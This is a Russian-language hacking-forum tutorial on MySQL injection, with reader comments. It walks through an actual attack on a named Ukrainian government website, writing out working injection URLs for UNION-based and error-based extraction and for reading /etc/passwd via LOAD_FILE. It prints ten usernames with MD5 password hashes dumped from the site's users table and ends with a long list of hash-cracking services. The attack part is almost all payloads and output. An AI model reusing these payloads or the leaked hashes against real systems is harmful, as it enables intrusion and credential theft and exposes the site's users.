Тонкости MySQL Injection — HackZona.Ru

Тонкости MySQL Injection

Тонкости MySQL Injection

Тип статьи:
Со старой ХакЗоны.
Источник:
Салют читатели! С вами я — redmin.На этот раз я решился написать не просто статью, а большой FAQ про MySQL Injection.

И так начнем:
|#################################|
|############Часть I##############|
|#################################|
|##########Что это такое?#########|

Внедрение SQL-кода (англ. SQL injection) один из распространённых способов взлома сайтов и программ, работающих с

базами данных, основанный на внедрении в запрос произвольного SQL-кода.

Внедрение SQL, в зависимости от типа используемой СУБД и условий внедрения, может дать возможность атакующему

выполнить произвольный запрос к базе данных (например, прочитать содержимое любых таблиц, удалить, изменить или

добавить данные), получить возможность чтения и/или записи локальных файлов и выполнения произвольных команд на

атакуемом сервере.

Атака типа внедрения SQL может быть возможна из-за некорректной обработки входящих данных, используемых в SQL-

запросах.

Разработчик прикладных программ, работающих с базами данных, должен знать о таких уязвимостях и принимать меры

противодействия внедрению SQL.

|$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$|
|$$$$$$$$$$$$Часть II$$$$$$$$$$$$$|
|$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$|
|$$$$$$$$$$$Как?$$$$$$$$$$$$$$$$$$|

Допустим ты нашел(нашла) уязвимый сайт:

www.voladm.gov.ua/news.php?id=50901

Ставим перед id=50901 кавычку id=50901'

Видем ошибку в mysql.
select * from news where id=50901''

Что бы вытащить информацию нужно найти кол-во полей и определить какие из них читабельны. Делать будет будем с

помощью конструкции «order by».
www.voladm.gov.ua/news.php?id=50901+order+by+1+--+
Сайт загрузился нормально.
Пробуем +order+by+10+--+

www.voladm.gov.ua/news.php?id=50901+order+by+10+--+

Полей больше чем 10.

www.voladm.gov.ua/news.php?id=50901+order+by+15+--+

Видим ошибку. Это значит полей меньше чем 15.

www.voladm.gov.ua/news.php?id=50901+order+by+14+--+

Ошибки нет значит полей 14.
Узнаем читабельный поля с помощью конструкции union select
Составляем такой запрос:

www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--

Выдим что поля 2,6,11 на вывод.
Теперь нам надо узнать версию mysql.
Делаться это так:

www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14--

version() вставляем в читабеное поле.
5 версия.
Это может быть 2,6 или 11.
У каждего сайта по разному.
Теперь узнаем user и database
Так юзера и бд.
Делаеться это просто:

www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,user(),3,4,5,6,7,8,9,10,11,12,13,14--
www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,database(),3,4,5,6,7,8,9,10,11,12,13,14--

Но делать такой запрос неудобно.Тогда нас выручит конструкция concat_ws или group_concat

www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,concat_ws(0x3a3a3a,user(),database(),version

()),3,4,5,6,7,8,9,10,11,12,13,14--

Вот и вся информация в одной строке:
obladmin_2@localhost:::voladm_gov:::5.1.41
0x3a3a3a это три раза знак двоетичения в хексе :::

Теперь узнаем все таблицы. Чаще всего новички делают это так:
www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,table_name,3,4,5,6,7,8,9,10,11,12,13,14+from

+information_schema.tables--

Но тут облом) Лишь одна таблица, а пользоваться limit неудобно. Тогда нас выручит конструкция group_concat().

www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,group_concat(table_name+separator

+0x3a),3,4,5,6,7,8,9,10,11,12,13,14+from+information_schema.tables--

Облом вас сново накрыл))))Но выход есть!!! Узнаем таблицы с помощью БД(voladm_gov)
Поскольку на сайте magic_quotes=on то прийдеться хексировать.
Но не бойтесь это не сложно. Идем на сайт x3k.ru и в раздел SQL Hex.
Вставляем наше voladm_gov и получаем 0x766f6c61646d5f676f76
Дальше составляем такой запрос:

www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,group_concat(table_name+separator

+0x3a),3,4,5,6,7,8,9,10,11,12,13,14+from+information_schema.tables+where+table_schema=0x766f6c61646d5f676f76--

И получаем список таблиц:

backdoor
images
info
ip
kat_text
katalog
kerivn
konk
links
links_topics
news
news2
opros
prava
questions
rozdil
struct
subrozdilu
subtext
test
topics
users
zahodu
zastypnuku
zvern

Как ты уже догадался(догадалась) нужная таблица users.
Теперь достаем колонки из users.
Хексируем users и делаем такой запрос:

www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,group_concat(column_name+separator

+0x3a),3,4,5,6,7,8,9,10,11,12,13,14+from+information_schema.columns+where+table_name=0x7573657273--

Где 0x7573657273 — это users в хексе.
Мы получили колонки users:


id:login:pass:opus:type:id:login:pass:opus:type

Ты тогадался что делать с этими данными???
Будем составлять такой запрос:

www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,group_concat(concat_ws

(0x3a3a3a,login,pass)+separator+0x0b),3,4,5,6,7,8,9,10,11,12,13,14+from+users+limit+0,20--

perun:::0ca90ff8d47e0a35ff3480326353e875
andrew:::dd1e6077a60d932f44a3da5e8d628edc
mammoth:::e258e48161169a48880615b921acea33
qqaazz:::29b2c9d187b5c7514d8acbd69c55b88c
bohdan_uvp:::0f843a45a4759a2a909baf9403759cc6
chernysh:::19f1b3ccd4fffc8e7b88e73d3e6de23b
zoya:::e219321c84af4e20c05c61193f2ec832
Roma:::4cb3ab8dc96cc4bb7a5ccd4bb8b57199
kozak:::7b41f5de4da10713bf68c01fab6d4f3e
igor_g:::5cd09222b030a2eff1c4b6671dbedf53

Вот у нас НЕ все хешы юзеров. Почему читай ниже.
И еще мы проверм file_priv
Делаеться это так:
Хексируем obladmin_2 (это наш юзер user() ) и составляем запрос:

www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,file_priv,3,4,5,6,7,8,9,10,11,12,13,14+from

+mysql.user+where+user=0x6f626c61646d696e5f32--

Как видем file_priv=Y

Теперь попробуем прочитать /etc/passwd

Хексируем /etc/passwd, посколько magic_quotes=on и составляем запрос:

www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,LOAD_FILE

(0x2f6574632f706173737764),3,4,5,6,7,8,9,10,11,12,13,14--

Получаем файл /etc/passwd

Но они могут быть в другом месте. Советую почитать в интернете где находяться пароли в FreeBSD,

Linux,SunOS,Windows.

Да и еще нам прийдеться расшифровать md5 хешы.
Для этого воспользуесть онлайн расшифровщиками.

Вот их список:

hashcracking.info — Анитичатовский
astalavista.net — не фунциклирует (видимо временно)
authsecu.com — мелкий
bigtrapeze.com — вобще левый блог какой-то
blacklight.gotdns.org — работает
gdataonline.com — работает
generuj.pl — работает
hashchecker.com — работает, можно скачать очередь
hashcrack.com — мелкий
hashkiller.com — прикольный. есть форум. можно скачать очередь. есть сильные брутеры.
ice.breaker.free.fr — мелкий
insidepro.com — работает, форум, можно скачать очередь, сильные брутеры.
md5.3mt3.pl — не работает.
md5.hashcracking.com — мелкий
md5.ip-domain.com.cn — мелкий
md5.rednoize.com — зеркало предыдущего
md5.thekaine.de — работает
md5.xek.cc — недоступен
md5.xpzone.de — требуется регистрация, хз что там за ней.
md5crack.com — мелкий
md5crack.it-helpnet.de — недоступен
md5decrypter.com — работает
md5decryption.com — работает, по-моему зеркало предыдущего.
md5hood.com — мелкий
md5live.com — не работает
md5oogle.com — какая-то фигня, не имеющая отношения к хешкреку.
md5pass.info — работает
milw0rm.com — работает, можно скачать очередь
passcracking.ru — работает. мощный сервис.
passcracking.com — зеркало предыдущего.
securitystats.com/tools/hashcrack.php — работает, слабый.
tydal.nu — какой то левый галимый сайт. MD5 крека нет.
plain-text.info — у них ломает хеши irc бот
md5decrypter.co.uk — мощный сервис. можно скачать очередь.
md5crack.ath.cx — работает, можно скачать очередь.
md5pass.info — зеркало какого-то мелкого из первой группы
cmd5.com — мертвый
schwett.com/md5 — мелкий
xmd5.org/index_en.htm — работает
xmd5.cn — зеркало предыдущего
md5this.com- работает, что-то любопытное. англ.
tmto.org — работает
victorov.su/md5 — работает.
kerinci.net — работает. интересный.
cryptohaze.com — работает, можно скачать очередь. стоит зайти.
hash.db.hk — работает.
hashbase.org — работает
crackfor.me — полу-жив. можно скачать очередь. давно не работает функция «добавить пароль».
md5-db.de — мелкий
md5.drasen.net — мелкий
md5.gromweb.com — работает.
neofusion.de — мелкий
md5.hamaney.net — мелкий
md5cracker.org — мелкий
thesoftwareengineer.org — МД5 крекер не работает. но есть интересная инфа по IT безопасности. агнл.
md5.igrkio.info — работает. ститьи по IT seq.
hashchecker.de — мелкий
lmcrack.com — только LM хеши. ограничения. сакс.
gdataonline.com/seekhash.php
passcracking.ru
milw0rm.com/md5/info.php
us.md5.crysm.net
www.plain-text.info
www.securitystats.com/tools
md5.rednoize.com
md5crack.it-helpnet.de
ivdb.org/search/md5
www.tmto.org
www.xmd5.org/index_en.htm
ice.breaker.free.fr
md5.benramsey.com
www.csthis.com/md5/index.php
md5.geeks.li/
www.md5database.net/
www.md5decrypter.com/
www.hashreverse.com/
rainbowtables.net/services/results.php
www.md5this.com/reverse.php
www.cmd5.com/english.aspx
www.md5encryption.com/
www.thepanicroom.org/index.php?view=cracker
www.panpan.org/2006/md5asp/HOME.ASP
www.bisix.tk/
www.md5hashes.com/
md5pass.info/
md5.fastpic.de/crack.php
milw0rm.com/cracker/insert.php — ждать надо.
www.hashchecker.com/?_sls=add_hash — 3 хеша в день.
rainbowcrack.com — предлагают что-то качать.
www.neeao.com/md5/
md5.mmkey.com/
www.hashchecker.com/index.php?_sls=search_hash
webtools.xakepok.org/md5/
passcrack.spb.ru/

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@Часть III@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@Проблемы с MySQL Injection@@@@@

Бывает такие случаи когда при запросе +union+select+1,version(),2,3,4-- нам выводят всякие знаки. Это значит у них

другая кодировка. Составляем запрос такого типа:
www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,UNHEX(hex(version

())),3,4,5,6,7,8,9,10,11,12,13,14--

или

www.voladm.gov.ua/news.php?id=50901+and+1=0+union+select+1,AES_DECRYPT(AES_ENCRYPT(version

(),0x71),0x71),3,4,5,6,7,8,9,10,11,12,13,14--

но еще так:

http://www.voladm.gov.ua/news.php?id=50901+or+substring+(version(),1,1)=5

Последнюю цыфру можно поменять на 3,4,5.

Но если union select отсекаеться то делаем так:

site.com/index.php?id=1+and+(select+1+from+(select+count(0),concat((select+version()),floor(rand(0)

*2))+from+information_schema.tables+group+by+2+limit+1)a)

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$The end$$$$$$$$$$$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
PS: Не ругайте сильно поскольку это моя первая статья на HackZona.ru
PSS: Я еще начинающий.
PSSS: Удачи всем!!!!
Нравится
Не нравится

7 комментариев

13:22
Неплохо для новичка, но sql-inj уже заезженная тема. Реквестирую статью о NoSQL-injection +)
14:07
всё равно как ни как познавательно) спасибо автору
16:12
неплохо кое что узнал)))
06:28
вставляем кавычку и вуаля =
15:26
Надеюсь когда нибудь пригодится, спасибо!
Комментарий удален
20:36
Помогите, когда ввожу +order+by+10+--+ выходит две ошибки в 21 одна ошибка. Что делать?